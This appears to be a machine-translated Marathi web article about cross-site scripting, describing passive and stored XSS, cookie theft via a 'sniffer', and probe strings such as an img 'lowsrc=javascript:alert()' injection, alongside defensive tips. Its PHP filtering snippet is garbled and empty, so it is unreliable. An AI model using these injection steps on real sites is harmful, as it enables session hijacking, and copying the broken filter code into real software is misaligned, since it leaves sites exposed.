    उदाहरणार्थ, द्रुत फिल्टरिंग आणि विशेष वर्णांच्या स्वयंचलित बदलीसाठी< и >आपण साइटवर खालील कोड वापरू शकता:

    $फिल्टर = ॲरे("");

    $_GET["q"]=str_replace($filter, "|", $_GET["q"]).

    तुमच्या साइटवर XSS रोखण्यासाठी काही टिपा:

  • तुमच्या साइटवर वापरकर्ता इनपुट सक्षम असल्यास, कोडिंग होणे आवश्यक आहे.
  • कोडिंग काही परिस्थितींमध्ये शक्य नसल्यास किंवा योग्य नसल्यास, ते बदला किंवा प्रमाणीकरणासह पूरक करा.
  • सुरक्षित डेटा प्रक्रिया कोडमध्ये केवळ तुमच्या वेब सर्व्हरच्या बाजूलाच नाही तर वापरकर्त्याच्या (क्लायंट) बाजूनेही केली जाणे आवश्यक आहे.
  • तुम्ही लोकप्रिय CMS वापरत असल्यास, उदाहरणार्थ Wordpress, Bitrix, Joomla, नियमितपणे इंजिनच्या आवृत्त्या आणि सर्व स्थापित मॉड्यूल्स आणि प्लगइन्स अपडेट करा. डीफॉल्टनुसार, सर्वात सामान्य वेबसाइट व्यवस्थापन प्रणाली XSS च्या वापरापासून संरक्षित आहेत, परंतु असत्यापित स्त्रोतांकडील तृतीय-पक्ष प्लगइनमध्ये भेद्यता असू शकते.
  • सूचना

    XSS भेद्यतेचे सार म्हणजे सर्व्हरवर चालणारी तृतीय-पक्ष स्क्रिप्टची शक्यता आहे, ज्यामुळे हॅकरला गोपनीय डेटा चोरता येतो. कुकीज सहसा चोरल्या जातात: त्याच्या स्वत: च्या ऐवजी त्यांना बदलून, आक्रमणकर्ता ज्या व्यक्तीचा डेटा चोरला त्याच्या अधिकारांसह साइटवर प्रवेश करू शकतो. हा प्रशासक असल्यास, हॅकर प्रशासक अधिकारांसह साइटवर लॉग इन करेल.

    XSS असुरक्षा निष्क्रिय आणि सक्रिय मध्ये विभागल्या आहेत. निष्क्रिय वापरणे असे गृहीत धरते की स्क्रिप्ट साइटवर कार्यान्वित केली जाऊ शकते, परंतु त्यावर जतन केली जात नाही. अशा असुरक्षिततेचा फायदा घेण्यासाठी, हॅकरने, एका किंवा दुसऱ्या सबबीखाली, त्याने पाठवलेल्या लिंकचे अनुसरण करण्यास भाग पाडले पाहिजे. उदाहरणार्थ, तुम्ही साइट प्रशासक आहात, तुम्हाला एक वैयक्तिक संदेश प्राप्त होतो आणि त्यामध्ये निर्दिष्ट केलेल्या दुव्याचे अनुसरण करा. या प्रकरणात, कुकीज स्निफरकडे पाठवल्या जातात - हॅकरला आवश्यक असलेला डेटा रोखण्यासाठी एक प्रोग्राम.

    सक्रिय XSS खूप कमी सामान्य आहेत, परंतु ते अधिक धोकादायक आहेत. या प्रकरणात, दुर्भावनापूर्ण स्क्रिप्ट वेबसाइट पृष्ठावर जतन केली जाते - उदाहरणार्थ, फोरम संदेश किंवा अतिथी पुस्तकात. जर तुम्ही फोरमवर नोंदणीकृत असाल आणि असे पेज उघडले तर तुमच्या कुकीज आपोआप हॅकरकडे जातात. म्हणूनच या भेद्यतेच्या उपस्थितीसाठी तुमची वेबसाइट तपासण्यात सक्षम असणे खूप महत्वाचे आहे.

    निष्क्रिय XSS शोधण्यासाठी, स्ट्रिंग ">अलर्ट() सहसा वापरला जातो, मजकूर इनपुट फील्डमध्ये प्रविष्ट केला जातो, बहुतेकदा साइटच्या शोध फील्डमध्ये. संपूर्ण युक्ती पहिल्या कोटमध्ये असते: फिल्टर करताना त्रुटी असल्यास अक्षरे, ती शोध क्वेरी बंद केल्याचे समजले जाते, आणि ती कार्यान्वित केल्यावर, आपल्याला स्क्रीनवर एक पॉप-अप विंडो दिसेल.

    सक्रिय XSS शोधणे साइटवर कोणते टॅग चालवण्याची परवानगी आहे हे तपासण्यापासून सुरू होते. हॅकरसाठी, img आणि url टॅग सर्वात महत्वाचे आहेत. उदाहरणार्थ, तुमच्या संदेशात http://www.site.ru/image.jpg सारख्या प्रतिमेची लिंक टाकण्याचा प्रयत्न करा. पत्ता काहीही असू शकतो, प्रत्यक्ष चित्राची इथे गरज नाही. हॅकरने संदेशात त्याचे चित्र टाकले आहे की नाही हे पाहणे महत्त्वाचे आहे. जर होय, तर संदेशात चित्राच्या जागी लाल क्रॉस दिसेल (अखेर, प्रत्यक्षात कोणतेही चित्र नाही). पुढे, *.jpg विस्तारानंतर जागा घालणे शक्य आहे की नाही ते तपासेल: http://www.site.ru/image.jpg.

    क्रॉस पुन्हा दिसल्यास, हॅकर यशाच्या अर्ध्या मार्गावर आहे. आता ते *.jpg विस्तारानंतर दुसरे पॅरामीटर जोडते: http://www.site.ru/image.jpg lowsrc=javascript:alert() . पृष्ठावर क्रॉस असलेला संदेश पुन्हा दिसला: आता तो उघडणाऱ्या प्रत्येकाला एक पॉप-अप विंडो दिसेल. याचा अर्थ अगतिकता उपस्थित आहे आणि कार्यरत आहे. आता हॅकरला फक्त त्याचे संदेश हटवावे लागतील आणि चेतावणी विंडो प्रदर्शित करणाऱ्या कोडऐवजी स्निफरच्या लिंकसह एक नवीन घाला.

    XSS भेद्यतेद्वारे आपल्या वेबसाइटचे हल्ल्यांपासून संरक्षण कसे करावे? शक्य तितक्या कमी डेटा एंट्री फील्ड ठेवण्याचा प्रयत्न करा. शिवाय, अगदी रेडिओ बटणे, चेकबॉक्सेस इ. “फील्ड” बनू शकतात. विशेष हॅकिंग उपयुक्तता आहेत जी ब्राउझर पृष्ठावर सर्व लपविलेले फील्ड प्रदर्शित करतात. उदाहरणार्थ, इंटरनेट एक्सप्लोररसाठी IE_XSS_Kit. ही उपयुक्तता शोधा, ती स्थापित करा - ती ब्राउझर संदर्भ मेनूमध्ये जोडली जाईल. त्यानंतर, संभाव्य भेद्यतेसाठी तुमच्या साइटची सर्व फील्ड तपासा.



    आम्ही वाचण्याची शिफारस करतो

    वर